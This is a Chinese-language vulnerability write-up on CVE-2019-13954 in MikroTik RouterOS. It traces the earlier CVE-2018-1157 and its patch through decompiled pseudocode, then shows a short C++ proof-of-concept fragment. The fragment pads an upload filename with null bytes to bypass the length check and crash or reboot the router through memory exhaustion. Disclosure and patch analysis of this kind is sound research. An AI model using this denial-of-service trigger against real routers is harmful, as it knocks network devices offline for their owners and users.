本文作者: cq674350529 (信安之路 2019 年度优秀作者)
CVE-2019-13954 是 MikroTik RouterOS 中存在的一个 memory exhaustion 漏洞。认证的用户通过构造并发送一个特殊的 POST 请求,服务程序在处理 POST 请求时会陷入"死"循环,造成 memory exhaustion ,导致对应的服务程序崩溃或者系统重启。
该漏洞与 CVE-2018-1157 类似,是由于对漏洞 CVE-2018-1157 的修复不完善造成。下面通过搭建 MikroTik RouterOS 仿真环境,结合漏洞 CVE-2018-1157 的 PoC 脚本及补丁,对漏洞 CVE-2019-13954 进行分析。
CVE-2018-1157 漏洞分析
MikroTik RouterOS 环境的搭建、 root shell 的获取及相关资料可参考文章《CVE-2018-1158 MikroTik RouterOS 漏洞分析之发现 CVE-2019-13955 》:
CVE-2018-1158 MikroTik RouterOS漏洞分析之发现CVE-2019-13955 | cq674350529's blog
根据 Tenable 的漏洞公告:
[R1] Mikrotik RouterOS Multiple Authenticated Vulnerabilities - Research Advisory | Tenable®
漏洞 CVE-2018-1157 在 6.40.9 、 6.42.7 及 6.43 等版本中修复。为了便于对漏洞 CVE-2018-1157 进行分析,选取的相关镜像版本如下。
6.40.5,x86架构,用于进行漏洞分析6.42.11,x86架构,用于进行补丁分析
为了便于分析,临时关闭了系统的
ASLR机制。
与该漏洞相关的程序为 www ,在设备上利用 gdbserver 附加到该进程进行远程调试,然后运行对应的 PoC 脚本,发现系统直接重启,在本地 gdb 中捕获不到任何异常信息。根据漏洞公告中提到的 "/jsproxy/upload" ,在函数 JSProxyServlet::doUpload() 内设置断点,进行单步跟踪调试,发现会一直执行如下的代码片段。
int __cdecl JSProxyServlet::doUpload(int a1, int a2, Headers *a3, Headers *a4)
{
// ...
while ( 1 )
{
sub_77464E9F(v27, (char *)s1); // 读取POST请求数据
if ( !LOBYTE(s1[0]) )
break;
string::string((string *)&v36, (const char *)s1);
v11 = Headers::parseHeaderLine((Headers *)&v37, (const string *)&v36);
string::freeptr((string *)&v36);
if ( !v11 )
{
string::string((string *)&v36, "");
Response::sendError(a4, 400, (const string *)&v36);
string::freeptr((string *)&v36);
LABEL_56:
tree_base::clear(v13, v12, &v37, map_node_destr<string,HeaderField>);
goto LABEL_57;
}
}
// ...
}
其中,函数 sub_77464E9F() 用于读取 POST 请求数据并将其保存在 s1 指向的内存地址空间,其伪代码如下。
char *__usercall sub_77464E9F@<eax>(istream *a1@<eax>, char *a2@<edx>)
{
// ...
v2 = a2;
istream::getline(a1, a2, 0x100u, 10); //第一个参数为this指针,读取的最大长度为0x100
result = 0;
v4 = strlen(v2) + 1;
if ( v4 != 1 )
{
result = &v2[v4 - 2];
if ( *result == 13 )
*result = 0;
}
return result;
}
可以看到,当满足以下任一条件时会跳出 while 循环。
- 调用
sub_77464E9F(),未读取到数据 - 调用
Headers::parseHeaderLine(),解析失败
查看对应的 PoC 脚本,其对应的部分 POST 请求数据为 Content-Disposition: form-data; name="file"; filename="<filename>"\r\n 。
std::string filename;
for (int i = 0; i < 0x200; i++)
{
filename.push_back('A');
}
if (jsSession.uploadFile(filename, "lol."))
{
std::cout << "success!" << std::endl;
}
当 filename 参数的值过长时,调用 istream::getline() 读取的内容一直为 Content-Disposition:form-data; name="file"; filename="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." (长度超过 0x100 )。由于上面的2个条件都不满足,造成 while 循环无法退出,一直执行最终导致 "memory exhaustion" 。
CVE-2018-1157 补丁分析
版本 6.42.11 中对 CVE-2018-1157 进行了修复,根据前面的分析,定位到 JSProxyServlet::doUpload() 中对应的代码片段,如下。可以看到,在补丁中增加了对读取的 POST 请求数据长度的判断:当长度超过 0x100 (包括最后的 '\x00' )时,会跳出 while 循环。
由于两次
jsproxy.p的加载基址不一样,所以部分函数的名称可能不一致。
int __cdecl JSProxyServlet::doUpload(int a1, int a2, Headers *a3, Headers *a4)
{
// ...
while ( 1 )
{
sub_774C31F7(v14, s1); // 读取POST请求数据
if ( !LOBYTE(s1[0]) )
break;
v15 = -1;
v16 = (char *)s1;
do
{
if ( !v15 )
break;
v17 = *v16++ == 0;
--v15;
}
while ( !v17 ); // 计算读取的数据内容的长度
if ( v15 != 0xFFFFFEFF ) // 对应长度为0x100
{
v37 = 0;
string::string((string *)&v46, (const char *)s1);
v18 = Headers::parseHeaderLine((Headers *)&v47, (const string *)&v46);
string::freeptr((string *)&v46);
if ( v18 )
continue;
}
string::string((string *)&v46, "");
Response::sendError(a4, 400, (const string *)&v46);
string::freeptr((string *)&v46);
LABEL_60:
tree_base::clear(v20, v19, &v47, map_node_destr<string,HeaderField>);
goto LABEL_61;
}
// ...
}
CVE-2019-13954 发现
通过对漏洞 CVE-2018-1157 分析可知,调用 istream::getline(a1, a2, 0x100u, '\n') 读取数据时,如果请求数据过长(在遇到分隔符 '\n' 前 0x100 个字符已被写入 a2 中),那么每次 a2 中的数据内容都是一样的。而在对应的补丁中,增加了对读取数据长度的判断。
注意到,在调用 istream::getline(a1, a2, 0x100u, '\n') 读取数据时,分隔符为 '\n' 。也就是说,即使 filename 参数的值中包含 '\x00' ,读取时也不会造成截断,但是会影响后面的长度计算。因此,只需要在 filename 参数后面追加大量的 '\x00' ,即可绕过补丁,再次触发该漏洞。
在原有 PoC 的基础上进行简单修改,在版本为 6.42.11 的设备上进行验证,发现系统直接重启了。
std::string filename;
for (int i = 0; i < 0x50; i++)
{
filename.push_back('A');
}
for (int i = 0; i < 0x100; i++) // 追加'\x00'
{
filename.push_back('\x00');
}
if (jsSession.uploadFile(filename, "lol."))
{
std::cout << "success!" << std::endl;
}
通过代码静态分析,该漏洞在 "Long-term" 版本 6.43.16 上仍然存在。
6.43.16为发现该问题时 "Long-term" 系列的最新版本。该漏洞(CVE-2019-13954)目前已被修复,建议及时升级到最新版本。
小结
由于对漏洞 CVE-2018-1157 的修复不完善,通过在 filename 参数后面追加大量的 '\x00' ,可绕过对应的补丁,再次触发该漏洞( CVE-2019-13954 )。
相关链接
Mikrotik RouterOS Multiple Authenticated Vulnerabilities:
[R1] Mikrotik RouterOS Multiple Authenticated Vulnerabilities - Research Advisory | Tenable®
Two vulnerabilities found in MikroTik's RouterOS:
Full Disclosure: Two vulnerabilities found in MikroTik's RouterOS
Mikrotik RouterOS Changelogs:
https://mikrotik.com/download/changelogs/long-term-release-tree